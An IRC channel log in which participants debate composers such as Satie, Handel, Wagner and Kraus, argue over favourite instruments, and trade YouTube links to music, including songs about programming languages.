21:11:14 <hiato> never heard his stuff though
21:11:19 <AnMaster> hiato, airy music I definitely like. Dramatic: sure, but I definitely forbid more than 0.01 µWagner of pompousness!
21:11:22 <hiato> where satie is BF
21:11:33 <hiato> hahaha
21:11:34 <cpressey> Satie wrote a piece with words, and included the note "These are not lyrics. Under no circumstances should they be spoken aloud during performance"
21:11:45 <AnMaster> cpressey, my dad likes Schönberg. And Wagner.
21:11:47 <AnMaster> *shudder*
21:12:13 <hiato> look, I don't like wagner any more than you, and unfortunately, you have the same taste as my dad AnMaster
21:12:14 <AnMaster> cpressey, he was quite anti-Wagner iirc
21:12:15 <cpressey> Hm, Satie = BF? Maybe...
21:12:26 <AnMaster> hiato, "unfortunately"?
21:12:37 <AnMaster> cpressey, nah, Satie is more like a mild version of intercal
21:12:42 <hiato> Yeah, we have entirely separarte CD collections
21:12:49 <AnMaster> hiato, same here!
21:12:54 <cpressey> I was thinking Satie = Underload, but I'm not familiar enough with Underload to say
21:12:55 <hiato> i cant stand his stuff, he doesn't like mine
21:13:03 <AnMaster> my dad even likes Stravinsky
21:13:07 <AnMaster> which I just don't get
21:13:07 <ais523> and I'm not familiar enough with Satie to say
21:13:16 <AnMaster> well, it isn't actually horrible
21:13:18 <AnMaster> like Wagner is
21:13:24 <AnMaster> but, what is the point of Stravinsky...
21:13:26 <hiato> yeah, mine likes water music, which is just atrocious
21:13:41 <cpressey> AnMaster: The point of Stravinsky is The Rite of Spring.
21:13:42 <AnMaster> hiato, Händel's water music?
21:13:44 <AnMaster> well it is kind of OK
21:13:50 <hiato> Not in specific, but yes
21:13:59 <hiato> AHHHHH! NOOOOOO! Not you too!
21:14:03 <cpressey> That's about all... a lot of his other stuff is pretty meh.
21:14:03 <ais523> wow, I never knew Handel had an umlaut
21:14:09 <AnMaster> hiato, not on my "best" list
21:14:12 <chickenzilla> have you tried spectral music ? :)
21:14:14 <cpressey> hiato: ?
21:14:17 <AnMaster> ais523, he dropped it after he moved to UK
21:14:23 <AnMaster> ais523, but yes originally he did
21:14:36 <AnMaster> ais523, and that is an ä not an a with an umlaut
21:14:37 <AnMaster> t!
21:14:40 <cpressey> I like Handel pretty good. I think he makes my top ten. Or at least, he did once.
21:14:41 <AnMaster> s/t//
21:14:49 <hiato> AnMaster: ok, fine, but try not to listen to it
21:14:53 <AnMaster> what?
21:14:57 <AnMaster> hiato, water music?
21:15:08 <AnMaster> hiato, yeah most movements are a bit too pompous for my taste
21:15:11 <hiato> yeah
21:15:14 <AnMaster> there is one movement in it I like
21:15:21 <AnMaster> which one was it now again
21:15:25 <hiato> "airy", insusbstantail, decorative
21:15:28 <AnMaster> hiato, Alla hornpipe or something?
21:15:45 <AnMaster> hiato, the other ones are too pompous definitely, or just not good
21:16:16 <AnMaster> hiato, also way too few violins in the water music!
21:16:18 <hiato> AnMaster, I'm sorry, the act of listening to that and baroque is physically annoying to me, I just can't do it
21:16:28 <cpressey> AnMaster: What do you think of Couperin?
21:16:37 <AnMaster> cpressey, "who?"
21:16:47 <AnMaster> hiato, I do keep away from Bach played on organ
21:16:56 <AnMaster> Bach on piano is quite okay
21:17:05 <cpressey> AnMaster: baroque, french, mainly harpsichord/organ
21:17:07 <AnMaster> but I hate the instrument that is called organ
21:17:08 -!- angstrom has changed nick to angstrom_.
21:17:22 <AnMaster> cpressey, harpsichord is quite okay
21:17:28 <AnMaster> cpressey, organ should be outlawed
21:17:59 <hiato> organ >> harpsicord, have you ever heard of jazz harpsichord? I don't think so
21:18:07 <AnMaster> no
21:18:21 <AnMaster> but then I only enjoy jazz when I happen to listen to it
21:18:27 <cpressey> AnMaster: http://www.youtube.com/watch?v=UZXzuIsxb64 if you want a sample (it's alright -- I know I've heard better by him, but I can't find it)
21:18:28 <AnMaster> by pure chance
21:18:30 -!- ais523 has quit (Remote host closed the connection).
21:18:36 <AnMaster> it isn't something I actively try to listen to
21:18:56 <AnMaster> hiato, also organ should be outlawed
21:19:01 <AnMaster> I still maintain that
21:19:07 <AnMaster> it is the worst instrument ever devised
21:19:17 <AnMaster> possibly apart from "opera-style singing"
21:19:23 <cpressey> I'm not really happy about any instrument that has only one output level
21:19:41 <cpressey> But I don't think I share AnMaster's organ-hate
21:19:51 <AnMaster> cpressey, hm? that would explain a lot about organs
21:19:53 <cpressey> Harp, ugh
21:19:53 <AnMaster> if that was so
21:19:58 <hiato> AnMaster, you have some serious problems, like, the same sort should I choose to code liktheora in malbolge
21:20:01 <AnMaster> cpressey, harp can be nice
21:20:20 <hiato> harp is okay, harp as in harmonica is great
21:20:22 <AnMaster> hiato, libtheora in malbolge!?
21:20:23 <AnMaster> wth
21:20:35 <AnMaster> hiato, I mean, classical harp
21:20:36 <cpressey> AnMaster: yeah, harpsichord has one dynamic only. That's why a piano is called a piano (short for pianoforte, i.e. it can be soft *and* loud)
21:20:45 <AnMaster> I have no idea what "harp as in harmonica" *is*
21:21:02 <cpressey> harp is blues/jazz slang for harmonica. very confusing
21:21:11 <hiato> harp is slang for harmonica
21:21:14 <hiato> eh, ninja'd
21:21:16 <AnMaster> cpressey, what about spinets?
21:21:44 <AnMaster> "ninja'd"?
21:21:48 <AnMaster> wth does that mean
21:21:58 <AnMaster> harmonica is "meh"
21:22:01 <AnMaster> neutral
21:22:49 <AnMaster> hiato, anyway, I'm not talking about jazz instruments here
21:22:56 <lament> god you're STILL talking about music
21:23:03 <cpressey> AnMaster: Not really familiar with them. There are a tonne of percussion/plectra keyboard instruments that have niche roles...
21:23:07 <lament> i went to lunch already
21:23:14 <AnMaster> lament, we were talking about quines a bit in the middle
21:23:21 <lament> AnMaster: harps are not jazz instruments.
21:23:23 <AnMaster> lament, but well, there was no other discussion going on
21:23:28 <AnMaster> lament, I never claimed that
21:23:32 <cpressey> Actually, I think we're mostly talking about instruments now.
21:23:33 <AnMaster> lament, it was hiato who did
21:23:40 <hiato> AnMaster: from the xkcd forums, someone beats you to someting
21:23:50 <AnMaster> hiato, ah...
21:23:52 <hiato> lament: harp -> harmonica
21:24:00 <AnMaster> hiato, xkcd jumped the shark long ago
21:24:00 <lament> yes, harmonicas are not jazz instruments
21:24:06 <cpressey> harp -> harmonica confused me for years
21:24:16 <AnMaster> harp is harp
21:24:18 <AnMaster> nothing else to me
21:24:23 <lament> http://goatkcd.com/120/sfw
21:24:26 <cpressey> Yes, because blues is not jazz.
21:24:52 <AnMaster> lament, nsfw!
21:25:03 <lament> well some people play chromatic harmonicas in a jazz setting
21:25:18 <lament> but when people say harp they usually mean diatonic
21:25:21 <AnMaster> btw, has anyone invoked rule 34 on rule 34?
21:25:44 <hiato> AnMaster: jumped the shark?
21:25:49 <AnMaster> lament, I also heard Vivaldi's summer on electric guitar
21:25:49 <cpressey> And, FWIW, I don't really like harmonica.
21:25:53 <hiato> what about rule 42 on rule 34?
21:25:56 <AnMaster> lament, go figure
21:26:05 <AnMaster> (I didn't like it at all)
21:26:14 <cpressey> Glass harmonicas are much cooler.
21:26:17 <hiato> lament: ok, fair enough, but my original claim was that organs can be
21:26:25 <lament> cpressey: most people play harmonicas really badly
21:26:36 <AnMaster> hiato, http://tvtropes.org/pmwiki/pmwiki.php/Main/JumpingTheShark
21:26:51 <AnMaster> (sorry for that!)
21:27:03 <cpressey> http://www.youtube.com/watch?v=_XPfoFZYso8 <-- Glass harmonica. Maybe AnMaster will forgive that it sounds kind of like an organ?
21:27:11 <AnMaster> (be aware of that tvtroupes is highly addictive!)
21:27:18 <cpressey> After all, harmonica = "mouth organ"
21:27:45 <AnMaster> cpressey, How does it work?
21:28:03 <cpressey> AnMaster: Water.
21:28:06 <AnMaster> cpressey, but it gave me half a headache I feel
21:28:17 * hiato head will explode, as he cannot debug+chat+chat+irc
21:28:21 <AnMaster> cpressey, why is it spinning?
21:28:32 <AnMaster> hiato, irc is chat
21:28:35 <AnMaster> there is no other chat
21:28:36 <AnMaster> well
21:28:38 <hiato> (never mind blink and breath)
21:28:41 <AnMaster> talk
21:28:44 <AnMaster> but that is dead
21:28:47 <AnMaster> sadly so
21:28:47 <hiato> haha
21:28:53 <AnMaster> I still know some people who use talk
21:28:58 <AnMaster> yes seriously!
21:29:05 <hiato> What? No!
21:29:11 <AnMaster> hiato, not only
21:29:12 <hiato> Surely thou jesteth!
21:29:13 <AnMaster> they use irc too
21:29:17 <cpressey> talk, not ntalk?
21:29:22 <hiato> or gtalk?
21:29:28 <AnMaster> cpressey, ntalk?
21:29:32 <AnMaster> I'm not sure
21:29:40 <cpressey> like ncurses except for talk, not curses
21:29:41 <AnMaster> it uses xinetd I know
21:29:43 <cpressey> i guess
21:29:52 <cpressey> n prolly stood for 'new'
21:29:56 -!- Gracenotes has quit (Ping timeout: 246 seconds).
21:29:59 <AnMaster> cpressey, ah ytalk was the program talking the talk protocol I think
21:30:05 <cpressey> oh yeah, ytalk
21:30:15 <AnMaster> cpressey, what about ntalk then?
21:30:26 <AnMaster> cpressey, and glass harmonica is *technically* impressive
21:30:29 <cpressey> well, the name popped into my head
21:30:34 <cpressey> i don't remember where its from
21:30:34 <AnMaster> sound is less so
21:30:45 <cpressey> AnMaster: agreed. it's not the prettiest sound.
21:31:07 <lament> what has the prettiest sound?
21:31:13 <AnMaster> lament, violin
21:31:14 <AnMaster> by far
21:31:15 * lament votes cello
21:31:21 <lament> violins are high-pitched screechy things
21:31:27 <lament> skreeech
21:31:27 <AnMaster> lament, they are not
21:31:35 <lament> skreeeEEEEEEEEEEEEEEEAAURGH
21:31:37 <AnMaster> they are vibrantly wonderful harmonics!
21:31:43 <AnMaster> s/are/have/
21:31:52 <lament> they're too high pitched
21:31:56 <AnMaster> lament, I disagree
21:31:58 <cpressey> Yet, violas sound like violins with a chest cold.
21:31:58 -!- dev_squid has quit (Ping timeout: 264 seconds).
21:32:09 <AnMaster> violas are too high pitched!
21:32:13 <AnMaster> that I agree with
21:32:18 <AnMaster> violins are wonderful
21:32:31 <AnMaster> lament, but do you hate that range on other instruments?
21:32:42 <cpressey> My vote is either flute or french horn.
21:32:49 <cpressey> I think.
21:33:08 <hiato> Sax!
21:33:14 <hiato> (and that's not a typo)
21:33:15 <cpressey> hiato: Which one?
21:33:19 <AnMaster> hiato, no that is just silly
21:33:28 <AnMaster> hiato, also sure if that is sv:sax
21:33:28 <AnMaster> :D
21:33:41 <AnMaster> which is en:scissors
21:33:53 <cpressey> I would have to say, of saxophones, probably alto
21:33:53 <AnMaster> how do you play music on scissors?
21:33:59 <AnMaster> is it like musical bow?
21:34:26 <cpressey> Soprano is too whiny, tenor too throaty, baritone OK except bass clarinet is better
21:34:37 <AnMaster> cpressey, but wait, aren't viola's lower pitch than violins?
21:34:42 <AnMaster> yet violins sounds better?
21:34:48 <cpressey> AnMaster: yes, they are.
21:34:52 <cpressey> AnMaster: yes, they do.
21:34:56 <cpressey> It's not just about pitch
21:35:03 <AnMaster> cpressey, they why do I find violas annoying but violins awesome?
21:35:12 <AnMaster> and cello quite okay
21:35:30 <lament> of saxophones, definitely baritone
21:35:31 <cpressey> Because violas are fail, I guess
21:35:35 <lament> baritone sax is my favourite instrument
21:35:39 <lament> sorry!
21:35:40 <lament> i mean tenor
21:35:41 <hiato> AnMaster: heh, I turn my head for two minutes and you go from salto sax -> scissors
21:35:42 <lament> not barintone
21:35:42 <lament> duh
21:35:44 <hiato> tisk tisk
21:35:52 <lament> tenor sax. best instrument.
21:35:56 <lament> other than cello of course.
21:35:59 <hiato> naah, alto
21:36:05 <lament> alto - too high pitched and boring
21:36:10 <hiato> alto pwns ur vilin n00blar
21:36:11 <lament> it lacks character
21:36:18 <AnMaster> hiato, :P
21:36:20 <lament> only losers play alto
21:36:23 <hiato> all ur vilin belong to us
21:36:42 <AnMaster> stop mixing up two memes -_-
21:36:44 <hiato> lament: we clearly have different taste
21:36:52 <lament> no
21:36:55 <hiato> have you listened to 50's rock?
21:37:02 <lament> have you listened to 30's rock?
21:37:02 <AnMaster> hiato, *shudder*
21:37:17 <AnMaster> next you are going to say you like rap or country western!
21:37:50 <lament> what's a good place to temporarily upload an mp3?
21:37:53 <hiato> AnMaster: I do like some rap
21:37:58 <hiato> lament: 30's? No
21:38:00 <lament> without creating an account?
21:38:03 <hiato> I'm talking Fats Domino here
21:38:12 <AnMaster> hiato, and yet rap is even worse than country western. And country western is horrible
21:38:15 <hiato> what was it, er, filehost.rg?
21:38:23 <hiato> AnMaster: an open mind is key
21:38:25 <AnMaster> lament, filebin?
21:38:29 <AnMaster> lament, .ca that is
21:38:32 <hiato> that's it
21:38:36 <lament> isn't that one infected by some worm?
21:38:41 <AnMaster> lament, is it?
21:38:44 <lament> dunno
21:38:59 <hiato> AnMaster: im so eclectic in my tastes its not even funny, taht is to say, it was never funny to begin with
21:39:04 <AnMaster> lament, I thought it was quite a okay one. ais used it for enigma levels iirc
21:39:13 <AnMaster> hiato, ?
21:39:40 <lament> AnMaster: http://filebin.ca/ducjyo/elise2.mp3
21:40:11 <AnMaster> lament, wgetted
21:40:30 <AnMaster> lament, how should I put it
21:40:45 <cpressey> hiato: Which rap would that be?
21:40:49 <hiato> AnMaster: I like everything from hardstyle, house and rap to all the composers above and even square waves and 8bit music
21:40:56 <AnMaster> lament, _interesting_ arrangement
21:41:03 <AnMaster> lament, quite okay though
21:41:07 <cpressey> Now we're in completely different territory and my tastes are completely different.
21:41:19 <cpressey> There is some rap I like but it is very rare.
21:41:20 <hiato> cpressey: I like some on eminems work, as well as some israeli groups and some tupac
21:41:27 <AnMaster> rap is just unacceptable
21:41:27 <lament> cpressey: http://filebin.ca/ducjyo/elise2.mp3
21:41:30 <AnMaster> to me
21:41:33 <AnMaster> it isn't even music
21:41:34 <AnMaster> at all
21:41:43 <AnMaster> it should be classified as noise
21:41:57 <AnMaster> and a health and safety issue
21:42:31 <hiato> heh
21:42:33 <hiato> cute
21:42:44 <AnMaster> cpressey, what about "god wrote the world in lisp"? I like it because of it's lyrics only
21:42:56 <cpressey> AnMaster: *never* heard of that :)
21:42:58 <hiato> but, I hate pop
21:43:07 <lament> i hate you :(
21:43:09 <hiato> songs with words suck, unless they are rap
21:43:27 <AnMaster> cpressey, http://www.youtube.com/watch?v=5-OjTPj7K54&fmt=18
21:43:28 <cpressey> Along the lines of modern-but-still-"art/chamber", anyone like Penguin Cafe Orchestra?
21:43:40 <AnMaster> hiato, you too
21:43:46 <hiato> even so, I have found maybe five rap songs out of aa good three hundred that I like
21:43:47 <AnMaster> hiato, and that is because of lyrics
21:43:51 <AnMaster> not because of the music
21:43:58 <hiato> cpressey: love penguin cafe
21:44:15 <lament> AnMaster: lyrics are part of it duh
21:44:19 <cpressey> hiato: Ha! Suspected so.
21:44:21 <AnMaster> lament, yes
21:44:23 <AnMaster> lament, ...
21:44:24 <cpressey> http://www.youtube.com/watch?v=FvbCV6E0Wro <-- PCO
21:44:26 <hiato> cpressey: really?
21:44:33 <AnMaster> lament, I said I only liked it because of it's lyrics
21:44:36 <hiato> AnMaster: wiat, me too what?
21:44:40 <cpressey> hiato: Taste intersection :)
21:44:50 <AnMaster> hiato, the link I gave just amove it
21:44:52 <AnMaster> above*
21:44:53 <lament> i only like bach because of its melody
21:44:57 <lament> lolwut!
21:45:10 <hiato> cpressey: it would seem so :)
21:45:19 <hiato> AnMaster: I see, youtubing now
21:45:49 <hiato> cpressey: ever heard of apocalyptica?
21:46:02 -!- coppro has joined.
21:46:39 <cpressey> hiato: I don't think so...
21:46:45 <hiato> it's four celloists, but they play connected to apms and so
21:46:48 <hiato> it's brilliant
21:47:00 <AnMaster> cpressey, so what do you think about it?
21:47:08 <cpressey> hiato: Do they do covers of Metallica?
21:47:10 <hiato> heh, catchy tune :P
21:47:13 <hiato> YES!
21:47:23 <hiato> so you have heard of them
21:47:28 <Asztal> apocalyptica are awesome :)
21:47:34 <AnMaster> hiato, cpressey ^
21:47:35 <AnMaster> ...
21:47:42 <cpressey> hiato: I think I've maybe heard recordings *by* them, but didn't know anything about the group
21:47:43 <hiato> Asztal: !!
21:47:56 <cpressey> AnMaster: It's queued up, one sec :)
21:48:12 <AnMaster> cpressey, you will actually "lol" I think
21:48:13 <lament> apocalyptica is the worst shit ever seriously
21:48:18 <hiato> AnMaster ? It's a catchy tune, but fits rignt into the "I hate men with guiatars category" though the lyrics made me smile
21:48:21 <lament> what a retarded bunch of losers
21:48:21 <hiato> lament .....
21:48:24 <AnMaster> cpressey, and I'm one of those who try to use it correctly
21:48:29 <lament> they should strange each other with their strings
21:48:35 <cpressey> Oh god this is horrible
21:48:45 <AnMaster> cpressey, the lyrics are fun though
21:49:02 <cpressey> lament: Steve would probably love this
21:49:03 <lament> apocalyptica is an injoke, you need to be a metalhead and a cellist to appreciate it and it's still only mildly funny
21:49:18 <oklokok> :D
21:49:26 <AnMaster> cpressey, so why did you call it horrible?
21:49:28 <hiato> lament, er, right, still sounds good to me
21:49:35 <lament> well
21:49:43 <cpressey> AnMaster: CHEESY
21:49:44 <lament> say some apocalyptica cover of metallica
21:49:44 <AnMaster> cpressey, I assume it was that lisp one?
21:49:46 <lament> MIGHT sound okay
21:49:48 <oklokok> hiato: you see *lament* is an injoke
21:49:51 <lament> but the original sounds better
21:49:54 <cpressey> AnMaster: YES
21:49:56 <AnMaster> cpressey, define that
21:49:59 * cpressey is drowning in cheese
21:50:02 <lament> so all apocalyptica achieved is to make a piece of music worse
21:50:05 <hiato> oklokok: it's all starting to make sense :P
21:50:11 <lament> cpressey: probably, judging by the title, but i can't listen at work
21:50:12 * AnMaster looks for a dictionary
21:50:33 -!- dougx has joined.
21:50:36 <AnMaster> I never bother to look up what "cheesy" meant except in a culinary context
21:50:51 <AnMaster> cpressey, since I'm unable to locate a dictionary atm could you explain it
21:51:32 <hiato> AnMaster: http://www.youtube.com/watch?v=FTD2lKew4iI&feature=related
21:52:21 <cpressey> (oh god it's long, too. six minutes of programming language-based filk is wayyyy too much.)
21:52:38 <cpressey> Um, lessee. Define "cheesy". Well..
21:52:41 <AnMaster> hiato, what an overly dramatic video. also
21:52:44 <AnMaster> WHAT THE HELLL
21:52:57 <AnMaster> hiato, it is a complete disaster after 00:33 or so
21:53:02 <AnMaster> a complete and utter disaster
21:53:03 <hiato> AnMaster: yes, video sucks
21:53:14 <AnMaster> hiato, I have never heard anything this bad
21:53:20 * AnMaster stops playing it
21:53:27 <AnMaster> I can not stand listening to the end of it
21:53:35 <hiato> AnMaster: your taste .[asarsarsars], my taste .{7283748923794} -> longest common subsequence = .
21:54:07 <AnMaster> hiato, didn't we both like Grieg?
21:54:18 <hiato> yep :P that dot was griep
21:54:21 <hiato> *grieg
21:54:25 <AnMaster> ah
21:54:32 <hiato> but, for example, have you heard flanders and swann?
21:54:43 <AnMaster> hiato, US?
21:54:46 <cpressey> Man, "cheesy" is hard to define
21:54:52 <AnMaster> hiato, the names are not familiar at all
21:54:53 <hiato> UK!
21:54:59 <AnMaster> hiato, well I live in Sweden so...
21:55:01 <cpressey> "of poor quality through being overdramatic, excessively emotional or clichéd, trite, contrived, shoddy" (wiktionary)
21:55:05 <AnMaster> hiato, when did they live?
21:55:07 <hiato> yeah, sixties-ish entertainers
21:55:08 <hiato> uk
21:55:09 <cpressey> But that doesn't capture it
21:55:11 <AnMaster> oh
21:55:14 <AnMaster> that explains it
21:55:32 <AnMaster> hiato, I do like Tom Leherer (spelling?) though
21:55:35 <AnMaster> American
21:55:46 <AnMaster> hiato, both nice music and nice lyrics
21:55:47 <hiato> Yeah, Lehrer
21:55:52 <hiato> brialliant
21:55:55 <AnMaster> hiato, indeed
21:56:11 <AnMaster> whoever posted http://www.youtube.com/watch?v=FvbCV6E0Wro
21:56:11 <hiato> you'll probably like flanders an swann
21:56:15 <AnMaster> that one wasn't too bad
21:56:18 <AnMaster> relatively speaking
21:56:18 <hiato> they came up with the hippo song
21:56:22 <AnMaster> so far at least
21:56:31 <AnMaster> well it gets worse a bit in
21:56:39 <AnMaster> sounds like percussion?
21:56:48 <hiato> AnMaster: have you seen funny bones?
21:56:53 <cpressey> http://www.youtube.com/watch?v=2N_tmH6y7ng <-- there's some more cheese, but instrumental.
21:57:06 <AnMaster> which really doesn't have anything to do in music except the occasional bong in Ravel's Bolero or such
21:57:15 <AnMaster> hiato, never heard about it
21:57:30 <AnMaster> cpressey, queued
21:57:36 <AnMaster> cpressey, also did you like the lyrics or not?
21:57:45 <hiato> related videos (from perpetuum mobile) -> how to build hover shoes
21:57:53 <AnMaster> hiato, ^_^
21:58:05 <AnMaster> hiato, but what is that music btw?
21:58:15 <hiato> which, that harmonium thing?
21:58:21 <hiato> or funnybones?
21:58:36 <AnMaster> ...
21:58:43 <AnMaster> "perpetuum mobile"
21:58:44 <hiato> er?
21:58:45 <AnMaster> ...
21:58:48 <Gregor> Wow, wait, we're still talking about music?
21:58:50 <hiato> what is it?
21:59:12 <hiato> Gregor: well there's at least 1000 years to get through
21:59:17 <Gregor> :P
21:59:35 <AnMaster> whoever posted http://www.youtube.com/watch?v=UZXzuIsxb64 : quite nice so far
21:59:58 <cpressey> AnMaster: I will say they are the most intensely programming-language-related lyrics I have heard yet.
22:00:03 <AnMaster> harpsichord?
22:00:08 <hiato> thttp://www.youtube.com/watch?v=UZXzuIsxb64 <- YUGH!
22:00:10 <AnMaster> it doesn't sound like piano
22:00:22 <hiato> yeah
22:00:25 <AnMaster> cpressey, I remember some about qbasic btw
22:00:26 <hiato> or honky-tonk
22:00:32 <cpressey> Of course, my main point of comparison is Guy Steele's "Lambda Bound" (to the tune of "Homeward Bound")
22:00:33 <AnMaster> hiato, it was quite a nice sound
22:00:35 <AnMaster> IMO
22:00:37 <AnMaster> hiato, :)
22:00:44 <AnMaster> hiato, in fact wonderful sound
22:00:49 <AnMaster> I like harpsichord
22:01:01 <hiato> this trumps all: http://www.youtube.com/watch?v=Ht96HJ01SE4&feature=player_embedded#
22:01:31 -!- MigoMipo has quit (Remote host closed the connection).
22:02:11 <AnMaster> hiato, cpressey, lament, Gregor: http://www.youtube.com/watch?v=BpH0QnVQi0A&fmt=18
22:02:12 -!- MigoMipo has joined.
22:02:17 <AnMaster> not the best recording
22:02:23 <AnMaster> also the C sharp minor version is better yet
22:02:26 <cpressey> hiato: Yes, it probably does.
22:02:26 <hiato> AnMaster: watch my last one damnit!
22:02:29 <AnMaster> but couldn't find it on youtube
22:02:31 <AnMaster> hiato, queued
22:02:31 <hiato> cpressey: :D
22:02:39 <Gregor> THIS MUSIC IS SO PRETENTIOUS
22:02:44 * Gregor runs
22:02:46 <AnMaster> Gregor, what one?
22:02:49 <hiato> I invoke ajump
22:02:56 <Gregor> Oh yeah, I've heard this.
22:03:00 <Gregor> It's very ... classical.
22:03:04 <AnMaster> Gregor, :)
22:03:05 <hiato> whose?
22:03:07 <AnMaster> wonderful isn't it?
22:03:16 <AnMaster> if it is the one I linked last
22:03:18 <lament> not watching youtube at work, what is it?
22:03:24 <cpressey> Too bad you can't actually queue youtube videos (in a simple way)
22:03:26 <Gregor> Frankly I'm not much of a classical guy, I much prefer the romantic era.
22:03:27 <AnMaster> lament, Joseph Martin Kraus
22:03:41 <lament> oh
22:03:54 <AnMaster> cpressey, you can. Open in separate tabs. Copy the urls to youtube-dl -b command
22:04:02 <AnMaster> cpressey, since you don't have flash installed
22:04:03 <AnMaster> :P
22:04:43 <AnMaster> cpressey, hiato Gregor: oi! This contains both C minor and C# minor versions after each other: http://www.youtube.com/watch?v=QbhA7NRZTZ0
22:04:46 <AnMaster> so you can compare
22:04:56 <AnMaster> remember to add &fmt=18 to that of course
22:04:58 <hiato> AnMaster: I must say, it's pleasant, but not my style
22:05:01 <Gregor> That one I listened to the last time you linked it :P
22:05:07 <AnMaster> Gregor, the comparing one?
22:05:09 <AnMaster> hm maybe
22:05:31 <cpressey> Ok, listening to Kraus now, and...
22:05:37 <Gregor> AnMaster: Now take the two versions and overlay them.
22:06:15 <AnMaster> Gregor, sound quality is better in http://www.youtube.com/watch?v=QbhA7NRZTZ0&fmt=35
22:06:20 <AnMaster> that is the best version of it
22:06:21 <AnMaster> :)
22:06:27 <AnMaster> it seems
22:06:29 <Gregor> AnMaster: That's not both versions too, is it?
22:06:38 <AnMaster> Gregor, that is both versions separately yes
22:06:48 <Gregor> Does everybody play both versions? :P
22:06:50 <AnMaster> Gregor, I just forget to add &fmt=35 to it
22:06:54 <Gregor> Oh, that's the same link, durp
22:06:54 <AnMaster> -_-
22:07:41 <hiato> AnMaster: to put things back in perspective: http://www.youtube.com/watch?v=Z_hOR50u7ek one of my all time fvourites
22:07:58 <AnMaster> cpressey listened to that "cheesy" one, don't get what you mean at all
22:08:01 <cpressey> It's pretty good. But it's hard to see how it would not be called equally "pompous" when say Tschiakovsky would
22:08:28 <Gregor> "It sounds less ... gay than Tchaikovsky"
22:08:49 <AnMaster> Gregor, everything does
22:09:01 <hiato> I take offense
22:09:06 <oklokok> your mom is less way than tchaikovsky
22:09:19 <cpressey> AnMaster: programming language are not something to sing about
22:09:25 <Gregor> Is "way" some crazy Finnish ... way ... to say "gay"?
22:09:30 <hiato> Marche slave is brilliant, the 1812 is fantiastic, swan lake is unrivaled
22:09:38 <AnMaster> <hiato> this trumps all: http://www.youtube.com/watch?v=Ht96HJ01SE4&feature=player_embedded# <-- on instrument awesomeness yes
22:09:42 <AnMaster> but what is the music
22:09:45 <oklokok> i typoed it and realized it was better that way
22:09:53 <hiato> Queen, bohemian rhapsody
22:10:17 <Gregor> hiato: I take offense to the fact that you assume I meant "gay" negatively, and not simply that all of his music is imbued with his gayness :P
22:10:27 <hiato> Bahahaah!
22:10:32 <hiato> I actually laughed out loud
22:10:39 <AnMaster> hiato, and what is that instrument in that video?
22:10:43 <hiato> at, whatever it is here, er, ten past 10
22:10:52 <hiato> *12
22:11:00 <hiato> AnMaster: it's a scanner
22:11:06 <hiato> and a floppy disk drive
22:11:07 <AnMaster> hiato, old one indeed
22:11:20 <AnMaster> hiato, also some other instruments I suspect?
22:11:31 <hiato> well, the oscilliscope buzzes
22:11:38 <hiato> and the tape drive sort of clicks
22:11:57 <hiato> and then there's that static melody sound from the waveform gen I assume
22:12:25 <AnMaster> hiato, heck that digital scope looks very similar to the ones we have at university
22:12:34 <AnMaster> just looks ours is one or two models after it
22:12:49 <hiato> and now, without further adue, and before I offend the possibly homo Gregor again, I must leave, got an early morning tomorrow
22:12:52 <AnMaster> (or they didn't change much)
22:12:54 <hiato> but cheers all, twas fun
22:13:00 <hiato> AnMaster: ooooh, that sucks :P
22:13:06 <AnMaster> hiato, oh?
22:13:12 <AnMaster> hiato, it was the digital ones at least
22:13:13 <AnMaster> !
22:13:23 <AnMaster> hiato, also introductory course
22:13:32 <oklokok> tomorrow i'll sleep till noon and never wake up!
22:13:32 <AnMaster> I think there are other ones as well
22:13:36 <hiato> heh, digital >= 1921 (invention of transistor)
22:13:42 -!- alise has joined.
22:13:44 <alise> 08:09:23 <scarf> it seems like every ten seconds it parks itself, then pops up a little dialog box to let you know it parked
22:13:46 <AnMaster> hiato, I meant the one with the square display
22:13:48 <alise> I disabled the dialog box.
22:13:56 <hiato> wow, delay
22:13:58 <hiato> anyway, cheers
22:14:02 <AnMaster> hiato, cia
22:14:04 <AnMaster> cya*
22:14:08 <AnMaster> -_-
22:14:10 <cpressey> Hi alise, would you like to talk about music?
22:14:17 -!- hiato has quit (Quit: leaving).
22:14:37 <alise> Um... sure? For what particular reason?
22:15:13 <cpressey> Past ~3 hrs, that's all the channel has been talking about.
22:15:36 <cpressey> And some people seemed annoyed by this.
22:15:39 <AnMaster> alise, hiato posted this: http://www.youtube.com/watch?v=Ht96HJ01SE4
22:15:40 <cpressey> So it was kind of an in-joke.
22:15:41 <AnMaster> awesome
22:15:53 <AnMaster> cpressey, so what did you think about Kraus btw?
22:16:12 <alise> what kind of musical discussion?
22:16:29 <AnMaster> alise, pre-1900 mostly with a few more modern mentions
22:16:46 <alise> Since you said that, I'll take it to mean "contemporary pop music".
22:16:49 <AnMaster> alise, very music "which is the best (vulgar sense) classical composer"
22:16:54 <cpressey> AnMaster: He's OK. Like I said, he seems almost as "pompous" as any romantic, Russian composer to me.
22:17:00 <alise> "Best" is such a vulgar word.
22:17:21 <AnMaster> cpressey, hardly. Well that recording maybe. I suggest you listen to the recording I have at home
22:17:32 <AnMaster> cpressey, which was performed by chamber "orchestra"
22:17:36 <AnMaster> cpressey, sounds much better
22:17:41 <alise> Allow me to inject some true vulgarity into the discussion: Autechre have a new album out.
22:17:56 <AnMaster> alise, yeargh
22:18:11 <AnMaster> cpressey, look what you done. alise is the one who likes *really* weird music
22:18:17 <alise> Eat bleeps and die, AnMaster!
22:18:26 <alise> Hey, cpressey mentioned KFDforgotten the rest of the name.
22:18:32 <alise> So we're only seven lightyears apart.
22:18:33 <AnMaster> alise, you admitted that yourself a bit before
22:18:35 <AnMaster> well
22:18:39 <AnMaster> quite some time ago
22:18:43 <alise> From my position you're not even in the observable universe
22:19:32 <cpressey> If you want to get into modern music, yes, I like KMFDM. And Rage Against the Machine. And Bad Religion. And Rammstein.
22:19:44 <cpressey> Which is sort of a paradigm shift away from "classical"
22:20:03 <cpressey> I don't think I've ever heard of Autechre
22:20:12 <fizzie> Mwah, a bot-tweet: "About NetHack: slay, a long sword is not a number! i am. xander: let go of frodo, and of knowledge, including mit and stanford, and he..." Yes, a long sword and a number indeed have some crucial differences.
22:21:21 -!- dougx has left (?).
22:21:22 <cpressey> fizzie: Is that fungot, or is there another twitterbot out there somewhere that fungot is having a conversation with?
22:22:19 <fizzie> It was fungot. Or, well, the same babbling-algorithm, anyway; it's not exactly the same script that's doing the tweeting.
22:23:09 <fizzie> But a twitter account called "theirctrout" had slapped fungot a bit with a large trout, for some reason; possibly because it mentioned the word IRC in there.
22:23:20 <AnMaster> fizzie, is the script written in befunge?
